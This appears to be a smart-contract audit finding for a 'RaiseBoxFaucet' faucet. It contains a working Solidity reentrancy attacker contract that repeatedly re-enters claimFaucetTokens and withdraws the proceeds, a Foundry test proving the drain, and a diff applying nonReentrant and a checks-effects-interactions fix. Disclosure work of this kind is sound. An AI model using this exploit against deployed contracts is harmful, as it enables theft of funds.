ATTACK CONTRACT
# Create a new contract
pragma solidity ^0.8.30;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
function faucetDrip() external view returns (uint256);
function getBalance(address who) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract ReentrancyAttacker {
IRaiseBoxFaucet public faucet;
address public owner;
uint256 public attackCount;
uint256 public maxAttacks = 3;
bool public attacking;
event AttackStarted(address attacker, uint256 maxAttacks);
event Reentered(uint256 round, uint256 tokensSoFar, uint256 attackerTokenBalance);
constructor(address _faucet) {
faucet = IRaiseBoxFaucet(_faucet);
owner = msg.sender;
}
function attack(uint256 _maxAttacks) external {
require(msg.sender == owner, "only owner");
maxAttacks = _maxAttacks;
attackCount = 0;
attacking = true;
emit AttackStarted(msg.sender, maxAttacks);
faucet.claimFaucetTokens();
attacking = false;
}
receive() external payable {
if (attacking && attackCount < maxAttacks) {
attackCount++;
uint256 tokensBefore = faucet.getBalance(address(this));
emit Reentered(attackCount, tokensBefore, tokensBefore);
faucet.claimFaucetTokens();
}
}
function withdrawTokens() external {
require(msg.sender == owner, "only owner");
uint256 bal = faucet.getBalance(address(this));
require(bal > 0, "no tokens");
require(faucet.transfer(owner, bal), "transfer failed");
}
function withdrawEth() external {
require(msg.sender == owner, "only owner");
payable(owner).transfer(address(this).balance);
}
}
TEST
# Paste this code in RaiseBoxFaucet.t.sol
function test_ReentrancyAttack() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(raiseBoxFaucet));
uint256 beforeContractBalance = raiseBoxFaucet.getBalance(address(raiseBoxFaucet));
uint256 beforeAttackerBalance = raiseBoxFaucet.getBalance(address(attacker));
attacker.attack(3);
uint256 afterContractBalance = raiseBoxFaucet.getBalance(address(raiseBoxFaucet));
uint256 afterAttackerBalance = raiseBoxFaucet.getBalance(address(attacker));
assertTrue(afterAttackerBalance > beforeAttackerBalance, "Attacker balance should increase");
assertTrue(afterContractBalance < beforeContractBalance, "Contract balance should decrease");
}
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// Checks
- // External call happens before state update
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// Effects
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Interactions
+ // Perform external ETH transfer only after all internal state updates
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
_transfer(address(this), faucetClaimer, faucetDrip);